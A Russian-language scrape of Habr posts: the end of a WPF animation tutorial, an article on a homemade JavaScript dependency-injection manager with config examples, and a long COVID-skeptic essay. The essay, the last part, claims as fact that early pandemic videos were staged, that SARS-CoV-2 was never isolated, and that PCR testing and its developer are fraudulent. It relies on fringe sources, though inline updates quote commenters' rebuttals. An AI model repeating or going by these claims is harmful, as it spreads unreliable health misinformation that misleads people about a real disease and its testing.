Теперь можно внутри каждого Ellipse'а написать:
```
```
И анимации запустились:
Jobs done!
Мы не запускаем их лишний раз и они работают так как нам нужно. К тому же Blend SDK содержит множество других простых и, при этом, невероятно полезных вещей — советую ознакомиться:
[Microsoft.Expression.Interactions documentation](https://msdn.microsoft.com/en-us/library/microsoft.expression.interactivity.core(v=expression.40).aspx)[System.Windows.Interactivity documentation](https://msdn.microsoft.com/en-us/library/system.windows.interactivity(v=expression.40).aspx)
И, возвращаясь к началу статьи, хочу обратить внимание на второй пункт — то, что анимации очень медленные. Да — они такие, что с этим делать я не знаю, но тем не менее буду стараться выяснить.
Всем спасибо за внимание!
→ [Ссылка на проект на github](https://github.com/EynsherKiel/Bubbles) | https://habr.com/ru/post/336692/ | null | ru | null |
# Auto dependency injection в Javascript
### Вступление
Как все мы знаем javascript это язык в котором очень просто выстрелить себе в ногу. Работая с этим языком уже почти пять лет, я не раз сталкивался с тем, что javascript предоставляет очень скудные инструменты для создания абстракций высокого уровня. А, создавая полноценные MVVM/MVP приложения, сталкиваешься с тем что, основной проблемой является трудность сохранить код и абстракцию в чистоте, не говоря уж о полноценном следовании [SOLID](http://en.wikipedia.org/wiki/SOLID_(object-oriented_design)) принципам.
Со временем я пришел к пониманию, что один из основных паттернов который смог бы мне помочь -это [Dependency Injection](http://en.wikipedia.org/wiki/Dependency_injection). И я решил поэкспериментировать с ним в JS.
Конечно, JS не предоставляет инструментов для полноценного следования этому паттерну (элементарное отсутствие тех же рефлекшенов), поэтому я решил поставить для себя несколько Acceptance Criteria, которых я хотел бы достигнуть адаптировав этот паттерн к такой уникальной среде как JS.
1. Избавиться от всех возможных глобальных переменных. (за исключением common библиотек)
2. Возможность модернизировать или изменять поведение приложения не меняя его кода.
3. Иметь полную карту зависимостей.
4. Убрать все «неявности» в структуре приложения.
**5. Сделать код который возможно покрыть тестами на 100%**
После нескольких дней раздумий о том, каким я хочу видеть DI manager, я написал его буквально за один вечер. Потом, на выходных, написал небольшое приложение (WYSIWYG template editor), чтобы посмотреть на узкие места в этом подходе создания приложений. В итоге я пришел к небольшому менеджеру, предоставляющему доступ ко всем компонентам приложения, а так-же способному собирать компоненты по JSON конфигу.
**Прошу внимания.** Сразу прудпреждаю — что это не классический Dependency Injection паттерн, а очень адаптированный под JS среду и под мои нужды, поэтому не нужно меня пинками отправлять читать спецификацию. Критике буду очень рад.
### Примеры использования
##### Случай 1
Класс GreeterClass, который приветствует пользователя, метод и текст приветствия задается инъекцией:
```
var GreeterClass = function(){
this.say = function(){
var method = this._getGreetMethod();
var greet = this._getTextMsg();
method(greet);
};
};
SERVICES['constructor']['greet-class'] = GreeterClass; //записываем класс в пул сервисов доступных DI
```
Описываем зависимости класса:
```
SERVICES['dependency']['greet-class'] = {
'greetMethod' : {'object' : 'alert'},
'textMsg' : {'value' : 'Hello world'}
};
```
Запрашиваем instance GreeterClass класса и вызываем метод say:
```
DI.get('greet-class').say();
```
Результат:
##### UPD
Это статья не о коде, а о подходе к организации кода, но думаю, стоит объяснить что тут произошло. После вызова:
```
DI.get('greet-class').say();
```
В DI происходят такие процессы:
1. Ищется 'greet-class' в списке сервисов, после он инстанцируется.
2. Подгружаются зависимости.
3. Идет проверка – существуют ли методы в 'greet-class' c именем совпадающим с именами зависимостей.
4. Если таких методов не наблюдется – они создаются, с именем совпадающем с именем зависимости и своеобразной приставкой \_get. Такой метод при вызове возвращает инъецированную зависимость.
5. Если такие методы существуют – они вызываются, а зависимость передается в качестве аргумента.
То есть методы .\_getGreetMethod() и. \_getTextMsg() икусственные, создаются динамически в DI менеджере.
Чтобы было яснее я сделал пример c предопределенным методом:
```
SERVICES['constructor']['stack'] = function(){
var stack = [];
this.flush = function(){
console.log(stack);
};
this.push = function(el){
/*** some actions ***/
stack.push(el);
return this;
};
}
SERVICES['dependency']['stack'] = {
'push' : [
{'value' : 1},
{'value' : 2},
{'value' : 3}
]
};
DI.get('stack').flush(); // [1,2,3]
```
Тут DI вызвал родной метод push для каждой зависимости.
##### Случай 2
Допустим перед нами встала задача изменить метод вывода:
```
SERVICES['dependency']['greet-class'] = {
'greetMethod' : {'object' : 'console.log'},
'textMsg' : {'value' : 'Hello world'}
};
```
Результат:
Я изменили реализацию не меняя абстракции, то чего и добивался.
##### Случай 3
Сейчас в greetMethod инъекцируется простой объект, но это так-же может быть другой сервис со своими зависимостями.
Так-же DI имеет несколько других обязанностей. Например, он может являться чем то вроде [«мультиона»](http://en.wikipedia.org/wiki/Multiton_pattern)
Пример:
```
SERVICES['config']['greet-class'] = {
'singleton' : true
}
DI.get('greet-class') === DI.get('greet-class'); // true
```
##### Случай 4
Подмена зависимостей находу:
```
DI.get('greet-class').say(); // Hello world
DI.get('greet-class', {'textMsg' : {'value' : 'Bye world'}}).say(); //Bye world
```
##### Случай 5
Возможность создавать «хаки» не вписывающиеся в концепция DI (иногда нужно);
```
SERVICES['dependency']['greet-class'] = {
'greetMethod' : {'value' : function(txt){document.body.innerHTML = txt}},
'textMsg' : {'value' : 'Hello world'}
};
DI.get('greet-class').say();
```
Результат:
### Итог
А вот так выглядит мой DI config для тестового приложения:
/\*пока не без хаков\*/
```
DEPENDENCY['application'] = {
'template-manager' : {
'addWidgetModel' : [
{
'service' : 'widget-model',
'dependency' : { 'domainObject' : {'instance' : function(){return WidgetDO(incomingWidget);}}} /*TODO: remove this hack*/
},
{
'service' : 'widget-model',
'dependency' : { 'domainObject' : {'instance' : function(){return WidgetDO(incomingWidget2);}}} /*TODO: remove this hack*/
}
],
'toolsManager' : {
'service' : 'widget-manager',
'dependency' :{
'addRenderer' : {
'service' : 'text-tools-renderer',
'dependency' : {
'richView' : {
'service-constructor' : 'rich-view',
'dependency': {
'setEventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'rich-view'}
}
},
'template' : {'value' : 'code/template/tools.html'}
}
}
}
},
'addHandler' : {'instance' : 'TextToolsHandler'},
'containerRenderer' : {
'service' : 'rich-view',
'dependency': {
'setEventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'rich-view'}
}
},
'template' : {'value' : 'code/template/tools-container.html'}
}
}
}
},
'editorManager' : {
'service' : 'widget-manager',
'dependency' :{
'addRenderer' : {
'service' : 'text-editor-renderer',
'dependency' : {
'globalEventManager' : {'service' : 'global-event-manager'},
'richView' : {
'service-constructor' : 'rich-view',
'dependency': {
'setEventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'rich-view'}
}
},
'template' : {'value' : 'code/template/editor.html'}
}
}
}
},
'addHandler' : {'instance' : 'TextEditorHandler'},
'containerRenderer' : {
'service' : 'rich-view',
'dependency': {
'setEventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'rich-view'}
}
},
'template' : {'value' : 'code/template/editor-container.html'}
}
}
}
},
'applicationRenderer' : {
'service' : 'rich-view',
'dependency': {
'setEventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'rich-view'}
}
},
'template' : {'value' : 'code/template/application.html'}
}}
},
'widget-manager' : {},
'widget-model' : {
'eventManager' : {
'service' : 'event-manager',
'dependency' : {
'setContext' : {'poll' : 'widget-model'}
}
}
},
'global-event-manager' : {
'context' : {'object' : 'window'}
}
};
SERVICES['config'] = {
'global-event-manager' : {
'singleton' : true
}
};
```
Ого, столько вложенностей и завимостей? Ну представьте себе как во всем этом разбираться когда даже такой карты нет.
По-моему очень удобно, сразу видна карта всего приложения, есть возможность замокапить всё, а самое главное — такой подход заставляет писать правильный код.
**Еще очень немаловажный момент** — этот конфиг может генерироваться на сервере и варьироваться от различных параметров, например, для привилегированных пользователей конфиг может отличаться от стандартного, в итоге он увидит другое приложение.
Считаю что такой подход себя оправдывает, но хотелось бы услышать объективную критику как подхода так и самого менеджера.
[Код DI на GIThub](https://github.com/imdoroshenko/di-example/blob/master/code/core/di.js) Должен сказать что многие моменты «могут быть проще» но в данный момент я работаю над приложениями для Samsung SmartTV, поэтому он местами «адаптирован». Так же старался придерживаться [KISS](http://en.wikipedia.org/wiki/KISS_principle) принципа. Естественно если DI себя оправдает я допишу два driver'a для считывания конфига с JSON и XML.
[Демо приложение о котором писалось выше](https://github.com/imdoroshenko/di-example/blob/master/code/core/dependency.config.js) — писал непосредственно под webkit, в остальных браузерах не тестировал. Увы.
PS: уже пользуюсь данным подходом на работе, доволен как слон. Для полного счастья осталось только какой-то contract менеджер подключить.
**\*Случай 1 обновлен** | https://habr.com/ru/post/149912/ | null | ru | null |
# Ковид-пандемия: взгляд ковидоскептика
> 
>
>
>
> Роман Левентов [leventov](https://habr.com/ru/users/leventov/)
>
> Довожу до вашего сведения, что я отправил ссылку на ваш пост в интернет-приемную sledcom.ru. За распространение фейков сейчас есть административная и уголовная ответственность: [www.garant.ru/news/1362894](http://www.garant.ru/news/1362894). Можете считать это чем угодно, заговором, цензурой, и т. д. но надеюсь что у вас сработает инстинкт самосохранения.
>
>
>
>
> > 
> >
> >
> >
> > [Port5](https://habr.com/ru/users/port5/) [Роман всё правильно сделал, респект ему.](https://habr.com/ru/post/564356/#comment_23195718)
>
>
>
>
---
When they say «trust the science», they really mean «don't ask questions».
Пытаясь спорить в комментариях с горячими сторонниками ковидных ограничений, я понял, что я не могу в отдельных комментариях объяснить всего. Мне хотелось бы показать людям, откуда берётся ковидоскептицизм, но в рамках описания отдельных элементов это невозможно.
Любые проблемы всегда выдаются за «отдельные недостатки», за «случайные инциденты». И отдельные факты действительно могут казаться такими, если не представлены в комплексе. Только общий взгляд на последовательность событий помогает выявить закономерность.
Я понял, что должен написать большую сводную статью, представляющую взгляд ковидоскептика, в которой я перечислю хотя бы основные сомнения и подозрения, которые возникали на протяжении этих полутора лет.
Статья представлена в условно хронологическом порядке. Это означает, что я буду перечислять события примерно так, как они происходили в течение этого года, но в рамках разговоров об этих события я стану ссылаться на более новые данные, используя эффект «послезнания». Это позволит мне одновременно придерживаться какой-то единой нити повествования, и при этом давать ссылки на данные, которые появлялись в совершенно разное время, некоторые раньше, а некоторые позже.
В самом начале событий мы не имели практически никакой информации и оперировали в основном догадками, но ближе к настоящему моменту ситуация прояснялась — хотя нельзя сказать, что она стала менее подозрительной, скорее даже более. Впрочем, вы сами это увидите.
> ### Минутка заботы от НЛО
>
>
>
> В мире официально объявлена пандемия COVID-19 — потенциально тяжёлой острой респираторной инфекции, вызываемой коронавирусом SARS-CoV-2 (2019-nCoV). На Хабре много информации по этой теме — всегда помните о том, что она может быть как достоверной/полезной, так и наоборот.
>
>
>
> #### Мы призываем вас критично относиться к любой публикуемой информации
>
>
>
>
> **Официальные источники**
> * [Cайт Министерства здравоохранения РФ](https://covid19.rosminzdrav.ru/)
> * [Cайт Роспотребнадзора](https://www.rospotrebnadzor.ru/about/info/news_time/news_details.php?ELEMENT_ID=13566)
> * [Сайт ВОЗ (англ)](https://www.who.int/emergencies/diseases/novel-coronavirus-2019)
> * [Сайт ВОЗ](https://www.who.int/ru/emergencies/diseases/novel-coronavirus-2019)
> * Сайты и официальные группы оперативных штабов в регионах
>
>
>
> Если вы проживаете не в России, обратитесь к аналогичным сайтам вашей страны.
>
>
> Мойте руки, берегите близких, по возможности оставайтесь дома и работайте удалённо.
>
>
>
> Читать публикации про: [коронавирус](https://habr.com/ru/search/?target_type=posts&q=%5B%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%5D&order_by=date) | [удалённую работу](https://habr.com/ru/search/?target_type=posts&q=%5B%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%5D&order_by=date)
Аксиоматика
-----------
Сначала я хотел бы обозначить некоторые вводные параметры, с пониманием которых требуется читать эту статью.
UPD: Политика обновлений. Поскольку в комментариях предлагают некоторые разъяснения по ряду затронутых в статье вопросов, я вношу в статью обновления. Обновления эти не абсолютные — если некто пишет в комментариях «вот опровержение», я не просто добавляю эту ссылку, а оцениваю, убедило оно меня или нет. Если убедило — добавляю, если нет — просто оставляю ссылку, чтобы люди сами могли оценить степень убедительности.
Отдельно вношу сюда ссылки на комментатора [tyderh](https://habr.com/ru/users/tyderh/), который взялся делать последовательный разбор этой статьи и каждого факта:
**Перечень ссылок**
<https://habr.com/ru/post/564356/#comment_23192842>
<https://habr.com/ru/post/564356/#comment_23192988>
<https://habr.com/ru/post/564356/#comment_23209898>
Как ни странно, этот комментатор перестал разбирать ситуацию, как только статья дошла до вопроса о тотальном нарушении законов и прав людей. К слову, так поступают практически все спорщики — начиная отчаянно доказывать существование вируса, они полностью ломаются, когда нужно объяснить незаконное нарушение прав человека и введение цензуры.
**Во-первых,** мне бы хотелось объяснить идею презумпции вины для тех, кто обладает силой и авторитетом. Это то самое, что в известной фразе "с великой силой приходит великая ответственность". Если вы обычный человек — вы можете говорить что угодно, и ваши слова не имеют существенного веса. Поэтому ваша ответственность за них невелика, а сомнения в ваших словах никого не беспокоят. Если вы учёный или врач и заявляете, что говорите нечто как учёный или врач — ваша ответственность растёт, и своими словами вы можете покалечить или убить того, кто доверится вам. Поэтому любая сомнительная трактовка ваших слов очень опасна. И наконец, если вы крупный медицинский чиновник или если вы научный коллектив, который оценивает репутацию других учёных — ваша ответственность невероятна, потому что по вашему слову могут умереть или исцелиться тысячи или миллионы людей. Никаких сомнений в ваших словах быть не должно, а любые сомнения в ваших словах всегда вызывают недоверие и подозрения.
И именно поэтому чем выше ответственность человека или группы людей — тем сильнее его обязанность не только быть честным и честно отвечать на вопросы окружающих, но и подробно разъяснять любые сомнительные слова или действия. И до того, пока не сделано этих разъяснений, не развеяны сомнения — вы остаётесь в серой зоне, в числе тех, кому не доверяют.
Именно поэтому любые сомнения, подозрения скандалы бросают тень на человека и коллектив, но ещё большую тень бросает отказ от объяснений или невнятные объяснения.
**Во-вторых,** я хочу немного уточнить параметры применимости теории фальсификации. Многие пытаются вести любой диалог так, будто бы это научный диалог. Я называют это «науковерием», современной сектой, в которой наука заменила религию и для своих адептов обрела сходное влияние на мир. Поэтому им представляется, что любой вопрос может быть решён научным образом.
К сожалению это не так. Если вдруг возле окровавленного тела найден человек с окровавленным ножом и нож этот в крови жертвы — невозможно получить строгих научных доказательств того, что этот человек и есть убийца. Мы можем это предполагать, основываясь на данных научной экспертизы — например, идентичного состава крови и следа от ножа. Но само утверждение о том, что с высокой вероятностью этот человек и есть убийца — формулируется не научным образом. Это другая сфера, в которой и доказательства формулируются не так, и даже поиск доказательств осуществляется иначе. В своей [статье](https://habr.com/ru/post/540130/) про конспирологию я уже писал, что когда «убийца — наука», когда наука вовлечена в состязательный процесс в качестве одной из сторон — то мы не можем ей давать преференции.
Мы вынуждены использовать другие методы — например, методы расследования. Да-да, то самое «кому выгодно».
Сейчас над этим принято насмехаться — по большей степени из-за того, что «мне это было не выгодно» стало стандартным оправданием преступников. Но это связано как раз с тем, что в этом вопросе сделали главной науку, а наука предполагает не только попытку однозначно трактовать термин «выгодно» (хотя выгода для каждого своя), но и использование научных методов там, где они не применимы (например — проверить даже финансовую «выгоду» научно можно, но невозможно получить закрытые финансовые данные без юридических методов).
Есть ситуации, в которых не нужно писать научную монографию, а нужен следователь, который изучит хронологию преступления и скажет: *«да вы убили, Родион Романыч! Вы и убили-с...»*
Теперь давайте к этой хронологии и перейдём.
Медийная истерика
-----------------
**«Сфотай типа — лежу»**
Для массового пользователя интернета всё началось в январе 2020 года, когда все соцсети [заполонили видео и фотографии «падунов» из Китая](https://pikabu.ru/story/rasprostranenie_koronavirusa_usilivaetsya_mir_nachal_panikovat_7193221). На всех происходило одно и то же — люди просто падали посреди улицы и лежали, потом прибегали закутанные с ног до головы врачи и уносили упавшего в машину реанимации. Эти видео ещё и сейчас можно найти в интернете, хотя их остаётся всё меньше.
Падения объяснялись тем, что так действует «новый смертельно опасный вирус».
Эти видео перестали появляться сразу же после принятия беспрецедентных политических и экономических ограничений. Хотя, если верить СМИ, ковид только набирал силу и бушевал во множестве стран — ни разу больше не появилось подобного видео, нигде больше люди не падали посреди улицы. Несмотря на миллионы официально переболевших ковидом — мы не получили таких видео ни из Италии, ни из Нью-Йорка, ни из других мест, описываемых как наиболее пострадавшие от пандемии.
Теперь, полтора года спустя, я абсолютно уверен, что это были постановочные видео, направленные на раздувание паники. Так что само существование подобных видео вызывает подозрение — информацию про действительно опасные болезни не нужно дополнительно подогревать слухами.
Можно сказать, что это делали «частные лица», жадные до хайпа и пытавшиеся накрутить число просмотров. Но нужно чётко понимать, что об этих «падунах» говорили все уважаемые СМИ. Это те самые СМИ, которые при необходимости всегда «решительно опровергают»: фейк-ньюс, мракобесие, лженаучные утверждения, постановочные видео и фото; те СМИ, которые всегда следуют «журналистской этике». В этом случае «журналистская этика» не подсказала им проверять эти видео на соответствие реальности.
Что же было на самом деле?
Неуловимый вирус
----------------
Картинка из [статьи](https://lenta.ru/news/2020/04/10/genome/) **«Расшифрован геном коронавируса» в апреле 2020 года. ~~Ссылки на оригинальную научную статью, конечно, нет, это же «массовое издание»~~**
**UPD:**
ссылка [есть](https://habr.com/ru/post/564356/#comment_23192842). [Причина](https://habrastorage.org/webt/uv/uq/b5/uvuqb51po9udru1dfweju673t_8.png) того, что я её не увидел.
Хронология событий выглядит следующим образом:
* 31 декабря 2019 г. Китай заявил о выявлении нового вируса SARS-CoV-2, который вызывает заболевание COVID-19.
* ~~7 января 2020 г. ВОЗ подтвердила информацию о выявлении нового вируса SARS-CoV-2.~~UPD: По утверждению ВОЗ 7 января Китай идентифицировал новый коронавирус
* 30 января 2020 г. ВОЗ объявила китайскую вспышку эпидемии чрезвычайной ситуацией.
* 11 марта 2020 г. ВОЗ охарактеризовала распространение болезни COVID-19 как пандемию.
~~Всё бы ничего, только через год, 23 января 2021 года, доктор Ву Цзунью из «Китайского центра по контролю за заболеваниями» [признался журналисту NBC](https://www.youtube.com/watch?v=TjjA-8JXzYI&t=810s), что они не смогли выделить вирус SARS-CoV-2, следствием которого является заболевание COVID-19.~~
**UPD**
Уточнение из комментария: [«Главный эпидемиолог Китая Ву Цзунью сказал репортеру NBC Янису Макки Фрайеру, что он не верит, что вирус возник в Ухане, Китай, но действительно возник в другом месте в Китае»](https://habr.com/ru/post/564356/#comment_23185990). Там же предложена ссылка на более подробную статью про это в [WSJ](http://www.wsj.com/articles/china-rules-out-animal-market-and-lab-as-coronavirus-origin-11590517508).
Тем не менее, [разногласия в понимании интервью не устранены](https://habr.com/ru/post/564356/#comment_23233488), утверждения фактчекеров между собой не сходятся, поэтому всё ещё ждём окончательного понимания
1 декабря 2020 года Центр по контролю за заболеваниями" США (CDC) в своём заявлении также признал, что не имеет выделенного вируса SARS-CoV-2: [«на момент разработки теста и проведения данного исследования количественные вирусные изоляты 2019-nCoV не были доступны для использования»](https://www.fda.gov/media/134922/download).
И даже в начале 2021 года Институт Роберта Коха также [не смог ответить на запрос журналистов](https://off-guardian.org/2021/01/31/phantom-virus-in-search-of-sars-cov-2/) — в какой именно научной статье можно прочитать про выделенный вирус.
**UPD**
в комментариях [утверждают](https://habr.com/ru/post/564356/#comment_23192842), что это не так.
На чём же были основаны все исследования, тесты, вакцины?
**Оригинальный текст статьи**
Осенью 2020 года доктор Коуэн пишет [заметку](https://drtomcowan.com/only-poisoned-monkey-kidney-cells-grew-the-virus/) с анализом статьи CDC о выделении вируса. Он подчеркивает: "Исследователи утверждают, что они решили, что является настоящим геномом SARS-CoV-2, путем «консенсуса», своего рода голосования.". Но мало этого. В статье CDC прямо говорится о том, что исследователи не смогли заразить человеческие клетки этим вирусом:
> «В приведенной выше цитате [журнала CDC] шокирует то, что вирусологи, используя свои собственные методы, обнаружили, что растворы, содержащие SARS-CoV-2 — даже в больших количествах — НЕ были, я повторяю, НЕ БЫЛИ заразными ни для одного из трех человек, культуры тканей, которые они тестировали. Проще говоря, это означает, что они доказали на своих условиях, что этот «новый коронавирус»…
>
>
>
> Друзья мои, читайте это снова и снова!
>
>
>
> Эти вирусологи, опубликованные CDC, представили на своих условиях четкое доказательство того, что вирус SARS-CoV-2 безвреден для человека. Это единственно возможный вывод, но, к сожалению, этот результат даже не упоминается в их заключении. Они просто говорят, что могут предоставить запасы вирусов, выращенные только на клетках обезьяны Vero, спасибо, что пришли.»
Может быть доктор Коуэн переврал отчёт CDC? Нет, я открыл отчёт и обнаружил там, что все цитаты верны. Может быть я просто не понимаю смысла этих цитат, и для опытных эпидемиологов они несут другой смысл? Но, во-первых, никто из «официальных учёных» так и не разъяснил этот «другой смысл» — а во-вторых, свидетельств уже набралось больше одного. Слишком много сомнительных вещей накручено вокруг происходящего. Сомнения в том, что вирус был выделен, определён и исследован — до сих пор не развеяны. Никто и не пытается их развеять. Никто не желает явным и непротиворечивым образом указать скептикам на публикацию, в которой этот вирус был твёрдо и уверенно выделен без «консенсуса» и прочего компьютерного моделирования. Мы можем даже согласиться с тем, что на планете действительно появилось какое-то новое вирусное заболевание, но у нас нет никаких внятных подтверждений тому, что его возбудитель был выделен учёными.
**Возражения против этого текста в комментариях**
UPD: вот как [комментируют](https://habr.com/ru/post/564356/#comment_23192842) эту часть:
1) Доктор Коуэн это тот самый доктор, [который форсил опасность 5G](https://www.cbc.ca/news/science/fact-check-viral-video-coronavirus-1.5506595).
2) Консенсус это не голосование, а [специальный научный термин](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%81%D0%B5%D0%BD%D1%81%D1%83%D1%81%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C). Упрощенная суть в том, что последовательность может незначительно отличаться, поэтому и нужна статистически наиболее встречаемая.
3) Vero это специальная культура, [повышенно восприимчивая к вирусам](https://www.accegen.com/recent-posts/the-role-of-vero-cells-in-the-research-of-viral-vaccines/) и [интерферон-дефицитная](https://ru.wikipedia.org/wiki/Vero), т.е. [не способная защищать себя от вирусов](https://blog.genofab.com/vero-cells). Обладание такой культурой облегчает работу с вирусом, создание вакцин, и т.д., поскольку позволяет работать с небольшим количеством клеток (на много порядков более меньшим, чем в любом человеке).
4) Автор того же комментария утверждает, что вирус был выделен много раз и приводит ссылки на несколько научных статей. Каждый может пойти по ссылке на этот комментарий и прочесть эти научные статьи, чтобы сделать выводы самостоятельно.
Я повторю, что пока что механизм этого выявления простыми словами никто не разъяснил. **Им не нравятся разъяснения доктора Коуэна, но своего так никто и не привёл.** Может быть кто-то из учёных возьмётся за это, адаптировав к обыденному пониманию те научные статьи, которые дали в комментариях. Для меня ситуация всё ещё выглядит сомнительно и подозрительно.
Как мы узнаем ниже в разделе про тестирование, даже тесты на вирус были созданы без наличия вируса, что прямо было написано в научных публикациях о создании этих тестов.
**UPD**
как нам пишут в том же [комментарии](https://habr.com/ru/post/564356/#comment_23192842), «Естественно, никто не хочет работать с активным вирусом, гораздо спокойнее и безопаснее работать со специально разработанными неактивными препаратами».
Позвольте, но ~~как же он служил в очистке?~~ как же они тестировали?!
Псевдотестирование
------------------
**Скрытая камера [показывает](https://www.bbc.com/news/uk-56556806), как загрязняются образцы во время тестов**
На брифинге для СМИ по COVID-19 16 марта 2020 «доктор Тедрос» сказал: [«У нас есть простое послание для всех стран: тестируйте, тестируйте, тестируйте»](https://www.bbc.com/news/av/world-51916707). И началась вакханалия тестирования.
А чем именно тестировать?
Хорошо известно, что Кэри Маллис, изобретатель ПЦР, говорил в интервью одну простую вещь — «если постараетесь, то с ПЦР вы можете найти абсолютно всё». И любой ПЦР-тест можно сделать положительным, просто увеличивая количество репликаций (позже это подтвердит и ВОЗ). Вот [ссылка](https://www.youtube.com/watch?v=z_FExIdgki8) на интервью. Интервью подчищают с различных сайтов (и это само по себе подозрительно), возможно это уцелело, потому что там наложен перевод, и нейросети не могут его распознать.
**UPD**
В [комментариях](https://habr.com/ru/post/564356/#comment_23192988) утверждают, что он говорил иначе: «Это цитирование, вырванное из контекста. [Есть опровержение.](https://www.thejournal.ie/kary-mullis-pcr-testing-factcheck-debunk-hse-5271830-Nov2020/) Полное цитирование: **если вирус вообще возможно обнаружить**, то с PCR это можно хорошо сделать, и найти практически что угодно у кого угодно. Фактически, он хвалит ПЦР».
Есть и возражение в ответ на это: На протяжении всей своей речи он подчёркивает — проблема не в самом ПЦР, проблема в интерпретации его результатов. Вы не можете только лишь на основании результатов ПЦР заявлять «болен человек» или «не болен», потому что это misinterpretation. *«a process that’s used to make a whole lot of something out of something. That’s what it is. It doesn’t tell you that you’re sick and it doesn’t tell you that the thing you ended up with really was going to hurt you or anything like that.»*
В самом начале, в январе 2020 года немецкий доктор Кристиан Дростен разработал технологию использования теста ПЦР для обнаружение вируса SARS-CoV-2. ~~У Дростена не было вируса SARS-CoV-2, чтобы проверить свою технологию на практике, что прямо указано в [исследовании](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6988269/) — *без наличия вирусного материала*.~~
UPD: [В комментариях не согласны.](https://habr.com/ru/post/564356/#comment_23184628) Даю точную формулировку: [«Как вам уже сказали, это было целью исследования — разработать технологию, которая сможет работать без наличия вирусного материала.»](https://habr.com/ru/post/564356/#comment_23192988).
Был ли у Дростена материал вируса для создания этого теста — мы не знаем.
Возможно вам будет интересно узнать, что «доктор Дростен» замешан в скандале. [Его обвиняли в том, что докторская степень у «доктора Дростена» не настоящая](https://principia-scientific.com/christian-drosten-the-fraud-behind-covid-19-pcr-testing/). Доктор Кюбахер, специализирующийся на научном мошенничестве, подал иск в отношении несуществующей дисертации Дростена. Адвокат доктор Фюльмих подал иск о возмещении ущерба против Дростена от имени своего клиента, который понес финансовые убытки в результате ограничений.
**UPD**
В том же [комментарии утверждается, что это всё неправда](https://habr.com/ru/post/564356/#comment_23192988). Суд не принял решения о том, что диссертация не валидна. Там есть ссылки на несколько сайтов, где эти скандалы и судебные процессы описаны подробнее.
Ольферт Ландт — один из постоянных соавторов исследований Дростена, включая текущую публикацию с тестированием на коронавирус. Он также является владельцем берлинской биотехнологической компании TIB Molbiol Syntheselabor GmbH, которая производит тесты Corona PCR. Дростен и Ландт в случае пандемий и самых разнообразных вирусных вспышек совместно разрабатывают для них ПЦР-тест: это уже имело место в 2002/2003 году для SARS, в 2011 году для EHEC., в 2012 г. для MERS, в 2016 г. для вируса Зика, в 2017 г. для желтой лихорадки. Разумеется, эти ПЦР-тесты приносят какую-то прибыль. ~~Какую — мы тоже не знаем.~~
UPD: в [комментариях](https://habr.com/ru/post/564356/#comment_23192988) утверждают, что [знаем](https://www.northdata.com/TIB+MOLBIOL+Syntheselabor+GmbH,+Berlin/Amtsgericht+Charlottenburg+(Berlin)+HRB+93163+B). К сожалению, пока по ссылке данные за 2020 год не доступны, поэтому можно сказать так «можем узнать, потому что данные о доходах открыты». Кроме того, [Ольферт выполнил заказ ВОЗ за полцены и помогает бедным](https://www.dw.com/ru/%D0%BA%D1%82%D0%BE-%D0%B2-%D0%B3%D0%B5%D1%80%D0%BC%D0%B0%D0%BD%D0%B8%D0%B8-%D1%87%D0%B5%D1%81%D1%82%D0%BD%D0%BE-%D0%B7%D0%B0%D1%80%D0%B0%D0%B1%D0%B0%D1%82%D1%8B%D0%B2%D0%B0%D0%B5%D1%82-%D0%BD%D0%B0-%D0%BA%D1%80%D0%B8%D0%B7%D0%B8%D1%81%D0%B5-%D0%B8%D0%B7-%D0%B7%D0%B0-%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%B0/a-52897469).
Только к концу года(!) дополнительное исследование группы 22 учёных показало [непригодность протокола «Кормана-Дростена» для выявления вируса](https://cormandrostenreview.com/report/) SARS-CoV-2 с помощью теста ПЦР.
**UPD**
Ответ из [комментария](https://habr.com/ru/post/564356/comments/#comment_23192988): [журнала](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7863229/) на эти обвинения: "… эксперты решили, что статья была научно адекватной для своей цели, с учетом недостаточного количества материалов и данных на начало эпидемии. Любая лаборатория, рассматривающая использование предложенных праймеров и протоколов, задавала бы те же вопросы о их пригодности и соответствии локальным законам; и именно так и случилось после публикации статьи. С большим количеством данных и знаний, лаборатории улучшили изначальный метод, как это обычно и происходит на практике". Как итог — статью решили не отзывать.
Здесь я от себя замечу, что не отзывать решили, видимо, и статистику, которая была получена с применением теста, который пусть был верным для своего времени, но теперь-то признан неверным. Были ли предложены методы коррекции статистики с учётом найденных в тексте недостатков?
Подозрительность ПЦР-тестов ни разу внятно не опровергалась. Илон Маск сдал 4 теста на одном и том же оборудовании. [Из них 2 оказались положительными, два — отрицательными.](https://meduza.io/news/2020/11/13/ilon-mask-sdal-chetyre-ekspress-testa-na-koronavirus-dva-dali-polozhitelnyy-rezultat)
UPD: меня поправили в [комментариях](https://habr.com/ru/post/564356/#comment_23186866), указав, что Маск сдавал не «ПЦР-тесты», а экспресс-тесты.
Вот [известная заметка](https://aridmoors.livejournal.com/709175.html) о том, что для определения ковида совершенно не нужно использовать квантификационный ПЦР. И это разумное замечание, которое сразу же вызывает подозрение, что тест на ковид основан не на обнаружении в организме чего-то, чего там совсем не должно быть.
